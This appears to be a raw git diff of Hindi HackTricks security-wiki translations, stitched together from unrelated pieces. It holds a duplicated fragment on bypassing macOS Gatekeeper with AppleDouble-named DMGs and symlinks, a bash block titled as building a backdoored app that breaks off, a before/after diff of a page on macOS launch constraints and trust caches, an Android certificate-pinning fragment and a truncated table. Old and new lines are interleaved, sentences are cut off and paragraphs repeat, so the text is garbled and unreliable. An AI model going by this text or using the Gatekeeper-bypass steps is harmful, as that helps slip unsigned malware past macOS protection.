एक फ़ाइल बनाने में सक्षम होना जिसमें क्वारंटाइन विशेषता सेट नहीं होगी, यह **गेटकीपर को बायपास करना संभव था।** चाल यह थी कि **एप्पलडबल नाम सम्मेलन** का उपयोग करके **एक DMG फ़ाइल एप्लिकेशन** बनाना (इसे `._` से शुरू करना) और इस छिपी हुई फ़ाइल के लिए **एक दृश्य फ़ाइल के रूप में एक सिम लिंक बनाना** जिसमें क्वारंटाइन विशेषता नहीं हो।\
जब **dmg फ़ाइल को निष्पादित किया जाता है**, क्योंकि इसमें क्वारंटाइन विशेषता नहीं है, यह **गेटकीपर को बायपास कर देग।**
एक फ़ाइल बनाने में सक्षम होना जिसमें क्वारंटाइन विशेषता सेट नहीं होगी, यह **गेटकीपर को बायपास करना संभव था।** चाल यह थी कि **एप्पलडबल नाम सम्मेलन** का उपयोग करके एक **DMG फ़ाइल एप्लिकेशन** बनाना (इसे `._` से शुरू करना) और इस छिपी हुई फ़ाइल के लिए एक **दृश्यमान फ़ाइल के रूप में एक सिम लिंक बनाना** जिसमें क्वारंटाइन विशेषता नहीं हो।\
जब **dmg फ़ाइल को निष्पादित किया जाता है**, क्योंकि इसमें क्वारंटाइन विशेषता नहीं है, यह **गेटकीपर को बायपास कर देग।**
```bash
# Create an app bundle with the backdoor an call it app.app

View file

@ -1,61 +1,103 @@
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) **डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या **टेलीग्राम समूह** या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में**
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मूल जानकारी
## Basic Information
macOS में लॉन्च विवादों को **कैसे, कौन और कहाँ से प्रक्रिया प्रारंभ की जा सकती है**, इसे नियंत्रित करने के लिए पेश किया गया था। macOS Ventura में प्रारंभ किए गए इन्हें **प्रणाली बाइनरी को विभिन्न विवाद श्रेणियों में वर्गीकृत करने** के लिए एक ढांचा प्रदान करते हैं, जो **विश्वास भंडार** में सिस्टम बाइनरी और उनके संबंधित हैश को सूचीबद्ध करती है​। ये विवाद सिस्टम के हर एक क्रियात्मक बाइनरी तक फैलते हैं, जिसमें **किसी विशेष बाइनरी को लॉन्च करने के लिए आवश्यकताएं** की विवरणित सेट होती हैं। ये नियम उस बाइनरी को संतुष्ट करने के लिए आवश्यकताएं शामिल करते हैं, जिन्हें बाइनरी को पूरा करना होगा, माता-पिता विवाद जो इसके माता-प
macOS में लॉन्च प्रतिबंध सुरक्षा को बढ़ाने के लिए पेश किए गए थे **यह विनियमित करके कि एक प्रक्रिया कैसे, कौन और कहाँ से शुरू की जा सकती है**। macOS वेंचुरा में शुरू किए गए, ये एक ढांचा प्रदान करते हैं जो **प्रत्येक सिस्टम बाइनरी को विशिष्ट प्रतिबंध श्रेणियों में वर्गीकृत करता है**, जो **ट्रस्ट कैश** के भीतर परिभाषित हैं, जो सिस्टम बाइनरी और उनके संबंधित हैश का एक सूची है। ये प्रतिबंध सिस्टम के भीतर हर निष्पादन योग्य बाइनरी पर लागू होते हैं, जिसमें **विशिष्ट बाइनरी को लॉन्च करने के लिए आवश्यकताओं** को रेखांकित करने वाले **नियमों** का एक सेट शामिल होता है। नियमों में स्वयं प्रतिबंध शामिल होते हैं जिन्हें एक बाइनरी को संतुष्ट करना होता है, माता-पिता के प्रतिबंध जो इसके माता-पिता की प्रक्रिया द्वारा पूरा किए जाने की आवश्यकता होती है, और जिम्मेदार प्रतिबंध जो अन्य संबंधित संस्थाओं द्वारा पालन किए जाने चाहिए।
यह तंत्र तीसरे पक्ष के ऐप्स पर **पर्यावरण प्रतिबंधों** के माध्यम से विस्तारित होता है, जो macOS सोनोमा से शुरू होता है, जिससे डेवलपर्स को अपने ऐप्स की सुरक्षा करने की अनुमति मिलती है, जो कि **पर्यावरण प्रतिबंधों के लिए कुंजी और मानों का एक सेट निर्दिष्ट करते हैं।**
आप **लॉन्च वातावरण और पुस्तकालय प्रतिबंधों** को प्रतिबंध शब्दकोशों में परिभाषित करते हैं जिन्हें आप या तो **`launchd` प्रॉपर्टी लिस्ट फ़ाइलों** में सहेजते हैं, या **अलग प्रॉपर्टी लिस्ट** फ़ाइलों में जो आप कोड साइनिंग में उपयोग करते हैं।
प्रतिबंधों के 4 प्रकार हैं:
* **स्वयं प्रतिबंध**: लागू प्रतिबंध **चल रहे** बाइनरी पर।
* **माता-पिता प्रक्रिया**: लागू प्रतिबंध **प्रक्रिया के माता-पिता** पर (उदाहरण के लिए **`launchd`** एक XP सेवा चला रहा है)
* **जिम्मेदार प्रतिबंध**: लागू प्रतिबंध **सेवा को कॉल करने वाली प्रक्रिया** पर XPC संचार में
* **पुस्तकालय लोड प्रतिबंध**: चयनात्मक रूप से कोड का वर्णन करने के लिए पुस्तकालय लोड प्रतिबंधों का उपयोग करें जिसे लोड किया जा सकता है
तो जब एक प्रक्रिया दूसरी प्रक्रिया को लॉन्च करने की कोशिश करती है — `execve(_:_:_:)` या `posix_spawn(_:_:_:_:_:_:)` को कॉल करके — ऑपरेटिंग सिस्टम यह जांचता है कि **निष्पादन योग्य** फ़ाइल **अपनी स्वयं की प्रतिबंध** को **संतुष्ट करती है**। यह यह भी जांचता है कि **माता-पिता** **प्रक्रिया** का निष्पादन योग्य **निष्पादन योग्य के माता-पिता के प्रतिबंध** को **संतुष्ट करता है**, और कि **जिम्मेदार** **प्रक्रिया** का निष्पादन योग्य **निष्पादन योग्य के जिम्मेदार प्रक्रिया के प्रतिबंध** को **संतुष्ट करता है**। यदि इनमें से कोई भी लॉन्च प्रतिबंध संतुष्ट नहीं होते हैं, तो ऑपरेटिंग सिस्टम प्रोग्राम को नहीं चलाता।
यदि किसी पुस्तकालय को लोड करते समय **पुस्तकालय प्रतिबंध का कोई भाग सत्य नहीं है**, तो आपकी प्रक्रिया **पुस्तकालय को लोड नहीं करती**
## LC Categories
एक LC **तथ्यों** और **तार्किक संचालन** (और, या..) से बना होता है जो तथ्यों को जोड़ता है।
[**तथ्य जो एक LC उपयोग कर सकता है, दस्तावेजीकृत हैं**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)। उदाहरण के लिए:
* is-init-proc: एक बूलियन मान जो यह संकेत करता है कि क्या निष्पादन योग्य ऑपरेटिंग सिस्टम की प्रारंभिक प्रक्रिया (`launchd`) होनी चाहिए।
* is-sip-protected: एक बूलियन मान जो यह संकेत करता है कि क्या निष्पादन योग्य एक फ़ाइल होनी चाहिए जो सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) द्वारा सुरक्षित है।
* `on-authorized-authapfs-volume:` एक बूलियन मान जो यह संकेत करता है कि क्या ऑपरेटिंग सिस्टम ने निष्पादन योग्य को एक अधिकृत, प्रमाणित APFS वॉल्यूम से लोड किया।
* `on-authorized-authapfs-volume`: एक बूलियन मान जो यह संकेत करता है कि क्या ऑपरेटिंग सिस्टम ने निष्पादन योग्य को एक अधिकृत, प्रमाणित APFS वॉल्यूम से लोड किया।
* Cryptexes वॉल्यूम
* `on-system-volume:` एक बूलियन मान जो यह संकेत करता है कि क्या ऑपरेटिंग सिस्टम ने निष्पादन योग्य को वर्तमान में बूट किए गए सिस्टम वॉल्यूम से लोड किया।
* /System के अंदर...
* ...
जब एक Apple बाइनरी पर हस्ताक्षर किया जाता है, तो यह **इसे एक LC श्रेणी** में **ट्रस्ट कैश** के भीतर असाइन करता है।
* **iOS 16 LC श्रेणियाँ** [**यहाँ उलट दी गई हैं और दस्तावेजीकृत की गई हैं**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)।
* वर्तमान **LC श्रेणियाँ (macOS 14** - सोनोमा) उलट दी गई हैं और उनके [**विवरण यहाँ पाए जा सकते हैं**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)।
उदाहरण के लिए श्रेणी 1 है:
```
Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: सिस्टम या Cryptexes वॉल्यूम में होना चाहिए।
* `launch-type == 1`: सिस्टम सेवा होनी चाहिए (LaunchDaemons में plist)।
* `validation-category == 1`: ऑपरेटिंग सिस्टम एक्जीक्यूटेबल।
* `(on-authorized-authapfs-volume || on-system-volume)`: सिस्टम या क्रिप्टेक्स वॉल्यूम में होना चाहिए।
* `launch-type == 1`: एक सिस्टम सेवा होनी चाहिए (LaunchDaemons में plist)।
* `validation-category == 1`: एक ऑपरेटिंग सिस्टम निष्पादन योग्य
* `is-init-proc`: Launchd
### LC श्रेणियों को उलटाना
### LC श्रेणियों को उलटना
आपके पास इसके बारे में अधिक जानकारी [**यहाँ**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints) में है, लेकिन मूल रूप से, वे **AMFI (AppleMobileFileIntegrity)** में परिभाषित हैं, इसलिए आपको **कर्नेल डेवलपमेंट किट** डाउनलोड करने की आवश्यकता है ताकि आप **KEXT** प्राप्त कर सकें। **`kConstraintCategory`** से शुरू होने वाले प्रतीकचिह्न **रोचक** होते हैं। उन्हें निकालकर आपको एक DER (ASN.1) एन्कोडेड स्ट्रीम मिलेगा जिसे आपको [ASN.1 डिकोडर](https://holtstrom.com/michael/tools/asn1decoder.php) या पायथन-एएसएन.1 पुस्तकालय और इसके `dump.py` स्क्रिप्ट, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) के साथ डिकोड करने की आवश्यकता होगी जो आपको एक अधिक समझने योग्य स्ट्रिंग देगा।
आपके पास इसके बारे में अधिक जानकारी [**यहा**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints) है, लेकिन मूल रूप से, इन्हें **AMFI (AppleMobileFileIntegrity)** में परिभाषित किया गया है, इसलिए आपको **KEXT** प्राप्त करने के लिए कर्नेल डेवलपमेंट किट डाउनलोड करने की आवश्यकता है। **`kConstraintCategory`** से शुरू होने वाले प्रतीक **दिलचस्प** होते हैं। इन्हें निकालने पर आपको एक DER (ASN.1) एन्कोडेड स्ट्रीम मिलेगी जिसे आपको [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) या python-asn1 लाइब्रेरी और इसके `dump.py` स्क्रिप्ट, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) के साथ डिकोड करने की आवश्यकता होगी, जो आपको एक अधिक समझने योग्य स्ट्रिंग देगा।
## पर्यावरण प्रतिबंध
ये तीसरे पक्ष के एप्लिकेशन में विन्यासित लॉन्च प्रतिबंध हैं। डेवलपर अपने एप्लिकेशन में पहुंच को सीमित करने के लिए **तथ्य** और **
ये **तीसरे पक्ष के अनुप्रयोगों** में सेट किए गए लॉन्च प्रतिबंध हैं। डेवलपर अपने अनुप्रयोग में **तथ्यों** और **तार्किक ऑपरेटरों का चयन कर सकता है** ताकि स्वयं तक पहुंच को प्रतिबंधित किया जा सके।
एक अनुप्रयोग के पर्यावरण प्रतिबंधों को सूचीबद्ध करना संभव है:
```bash
codesign -d -vvvv app.app
```
## विश्वास कैश
## Trust Caches
**macOS** में कुछ विश्वास कैश हैं:
In **macOS** में कुछ ट्रस्ट कैश हैं:
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
- **`/System/Library/Security/OSLaunchPolicyData`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
और iOS में ऐसा लगता है कि यह **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** में है।
और iOS में यह **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** में है।
{% hint style="warning" %}
Apple Silicon उपकरणों पर चल रहे macOS में, यदि एक Apple द्वारा हस्ताक्षरित बाइनरी विश्वास कैश में नहीं है, तो AMFI इसे लोड करने से इनकार करेगा।
macOS पर Apple Silicon उपकरणों पर, यदि कोई Apple द्वारा साइन किया गया बाइनरी ट्रस्ट कैश में नहीं है, तो AMFI इसे लोड करने से इनकार करेगा।
{% endhint %}
### विश्वास कैशों की गणना
### Enumerating Trust Caches
पिछले विश्वास कैश फ़ाइलें **IMG4** और **IM4P** प्रारूप में हैं, जिसमें IM4P एक IMG4 प्रारूप का भाग है।
पिछले ट्रस्ट कैश फ़ाइलें **IMG4** और **IM4P** प्रारूप में हैं, IM4P IMG4 प्रारूप का पेलोड सेक्शन है।
आप [**pyimg4**](https://github.com/m1stadev/PyIMG4) का उपयोग डेटाबेस के पेलोड को निकालने के लिए कर सकते हैं:
आप डेटाबेस के पेलोड को निकालने के लिए [**pyimg4**](https://github.com/m1stadev/PyIMG4) का उपयोग कर सकते हैं:
{% code overflow="wrap" %}
```bash
# Installation
python3 -m pip install pyimg4
@ -73,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(एक और विकल्प यह हो सकता है कि आप उपकरण [**img4tool**](https://github.com/tihmstar/img4tool) का उपयोग करें, जो M1 में भी चलेगा यदि रिलीज पुराना है और x86\_64 के लिए यदि आप इसे सही स्थानों पर स्थापित करते हैं).
(एक और विकल्प [**img4tool**](https://github.com/tihmstar/img4tool) टूल का उपयोग करना हो सकता है, जो M1 पर भी चलेगा, भले ही रिलीज़ पुरानी हो और x86\_64 के लिए यदि आप इसे सही स्थानों पर स्थापित करते हैं)
अब आप उपकरण [**trustcache**](https://github.com/CRKatri/trustcache) का उपयोग करके सूचना को एक पठनीय प्रारूप में प्राप्त कर सकते हैं:
अब आप टूल [**trustcache**](https://github.com/CRKatri/trustcache) का उपयोग करके जानकारी को पढ़ने योग्य प्रारूप में प्राप्त कर सकते हैं:
```bash
# Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -99,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
विश्वास कैश निम्नलिखित संरचना का पालन करता है, इसलिए **LC श्रेणी 4 वां स्तंभ है**
विश्वास कैश निम्नलिखित संरचना का पालन करता है, इसलिए **LC श्रेणी चौथा कॉलम है**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -109,48 +151,49 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
तो, आप डेटा निकालने के लिए [**इस तरह का स्क्रिप्ट**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) उपयोग कर सकते हैं।
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
उस डेटा से आप **लॉन्च विवाद मूल्य `0`** वाले ऐप्स की जांच कर सकते हैं, जो वे हैं जो प्रतिबंधित नहीं हैं ([**यहाँ जांचें**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) कि प्रत्येक मूल्य क्या है)।
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
## हमले से रोकथाम
## Attack Mitigations
लॉन्च विवाद कई पुराने हमलों को रोकने में सहायक होता है **यह सुनिश्चित करके कि प्रक्रिया अप्रत्याशित स्थितियों में नहीं चलाई जाएगी:** उदाहरण के लिए अप्रत्याशित स्थानों से या अप्रत्याशित माता प्रक्रिया द्वारा आमंत्रित किया जाने से (अगर केवल launchd को इसे लॉन्च करना चाहिए)
Launch Constrains कई पुराने हमलों को **यह सुनिश्चित करके कम कर देते हैं कि प्रक्रिया अप्रत्याशित परिस्थितियों में निष्पादित नहीं होगी:** उदाहरण के लिए अप्रत्याशित स्थानों से या अप्रत्याशित माता-पिता प्रक्रिया द्वारा सक्रिय होने पर (यदि केवल launchd इसे लॉन्च करना चाहिए)
इसके अतिरिक्त, लॉन्च विवाद भी **डाउनग्रेड हमलों को रोकता है।**
इसके अलावा, Launch Constraints भी **डाउनग्रेड हमलों को कम करता है।**
हालांकि, यह **सामान्य XPC** दुरुपयोग, **Electron** कोड इंजेक्शन या पुस्तकालय सत्यापन के बिना **dylib इंजेक्शन** को नहीं रोकता (जब तक पुस्तकालयों को लोड करने वाले टीम आईडी पता हो)।
हालांकि, वे **सामान्य XPC** दुरुपयोग, **Electron** कोड इंजेक्शन या **dylib इंजेक्शन** को बिना लाइब्रेरी सत्यापन के कम नहीं करते (जब तक कि उन टीम आईडी को नहीं जाना जाता जो लाइब्रेरी लोड कर सकते हैं)।
### XPC डेमन सुरक्षा
### XPC Daemon Protection
सोनोमा रिलीज में, एक महत्वपूर्ण बिंदु है डेमन XPC सेवा की **जिम्मेदारी कॉन्फ़िगरेशन**। XPC सेवा अपने आप के लिए ज़िम्मेदार है, जिसके विपरीत जुड़ने वाले क्लाइंट जिम्मेदार होते हैं। यह फीडबैक रिपोर्ट FB13206884 में दर्ज है। यह सेटअप दोषपूर्ण लग सकता है, क्योंकि यह निश्चित इंटरैक्शन को XPC सेवा के साथ संभव बनाता है:
Sonoma रिलीज़ में, एक महत्वपूर्ण बिंदु है डेमन XPC सेवा की **जिम्मेदारी कॉन्फ़िगरेशन**। XPC सेवा अपनी जिम्मेदारी के लिए उत्तरदायी है, जबकि कनेक्टिंग क्लाइंट जिम्मेदार नहीं है। यह फीडबैक रिपोर्ट FB13206884 में दस्तावेजित है। यह सेटअप दोषपूर्ण लग सकता है, क्योंकि यह XPC सेवा के साथ कुछ इंटरैक्शन की अनुमति देता है:
- **XPC सेवा को लॉन्च करना**: यदि यह एक बग माना जाता है, तो यह सेटअप अटैकर को XPC सेवा को प्रारंभ करने की अनुमति नहीं देता।
- **सक्रिय सेवा से कनेक्ट करना**: यदि XPC सेवा पहले से चल रही है (संभावना अपने मूल एप्लिकेशन द्वारा सक्रिय की गई), तो इसे कनेक्ट करने के कोई बाधाएँ नहीं हैं
- **XPC सेवा लॉन्च करना**: यदि इसे एक बग माना जाए, तो यह सेटअप हमलावर कोड के माध्यम से XPC सेवा को प्रारंभ करने की अनुमति नहीं देता।
- **सक्रिय सेवा से कनेक्ट करना**: यदि XPC सेवा पहले से चल रही है (संभवतः इसके मूल एप्लिकेशन द्वारा सक्रिय), तो इससे कनेक्ट करने में कोई बाधा नहीं है
XPC सेवा पर प्रतिबंधों को लागू करना हमलों के लिए **संभावित हमलों के लिए खिड़की को संक्षेपित करने** में फायदेमंद हो सकता है, लेकिन यह मुख्य चिंता का समाधान नहीं करता है। XPC सेवा की सुरक्षा सुनिश्चित करने के लिए मुख्य रूप से **कनेक्टिंग क्लाइंट को प्रभावी ढंग से सत्यापित करना** आवश्यक है। यह सेवा की सुरक्षा को मजबूत करने का एकमात्र तरीका रहता है। इसके अलावा, यह उल्लेखनीय जिम्मेदारी कॉन्फ़िगरेशन वर्तमान में संचालित है, जो निर्धारित डिज़ाइन के साथ मेल नहीं खा सकता है।
XPC सेवा पर प्रतिबंध लागू करना **संभावित हमलों के लिए खिड़की को संकीर्ण करके** फायदेमंद हो सकता है, लेकिन यह प्राथमिक चिंता को संबोधित नहीं करता। XPC सेवा की सुरक्षा सुनिश्चित करने के लिए मूल रूप से **कनेक्टिंग क्लाइंट को प्रभावी ढंग से मान्य करना** आवश्यक है। यह सेवा की सुरक्षा को मजबूत करने का एकमात्र तरीका बना हुआ है। इसके अलावा, यह ध्यान देने योग्य है कि उल्लेखित जिम्मेदारी कॉन्फ़िगरेशन वर्तमान में कार्यात्मक है, जो कि इच्छित डिज़ाइन के साथ मेल नहीं खा सकता है।
### इलेक्ट्रॉन सुरक्षा
### Electron Protection
दि ऐप्लिकेशन को **लॉन्च सर्विस द्वारा खोलना आवश्यक है** (माता की प्रतिबंधों में)। यह **`open`** (जो एनवी वेरिएबल सेट कर सकता है) या **लॉन्च सेविसेस एपीआई** (जिसमें एनवी वेरिएबल निर्दिष्ट किए जा सकते हैं) का उपयोग करके प्राप्त किया जा सकता है।
ह आवश्यक है कि एप्लिकेशन को **LaunchService द्वारा खोला जाना चाहिए** (माता-पिता के प्रतिबंधों में)। इसे **`open`** का उपयोग करके (जो env वेरिएबल सेट कर सकता है) या **Launch Services API** का उपयोग करके (जहां env वेरिएबल को इंगित किया जा सकता है) प्राप्त किया जा सकता है।
## संदर्भ
## References
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके और **हैकट्रिक्स-क्लाउड रेपो** में पीआर जमा करके।
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
# Automatic
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वतः** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)।
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वतः** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)।
# Manual
@ -62,24 +62,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
![](../../.gitbook/assets/img12.png)
अंत में, आपको बस **नए एप्लिकेशन पर हस्ताक्षर करना** है। [इसे साइन करने के लिए Smali - Decompiling/\[Modifying\]/Compiling के इस पृष्ठ के अनुभाग को पढ़ें](smali-changes.md#sing-the-new-apk)।
अंत में, आपको बस **नए एप्लिकेशन पर हस्ताक्षर करना** है। [इसे साइन करने के लिए इस पृष्ठ के अनुभाग को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk)।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Support HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
* **अपने हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -99,7 +99,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
| **Setting** | **Description** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
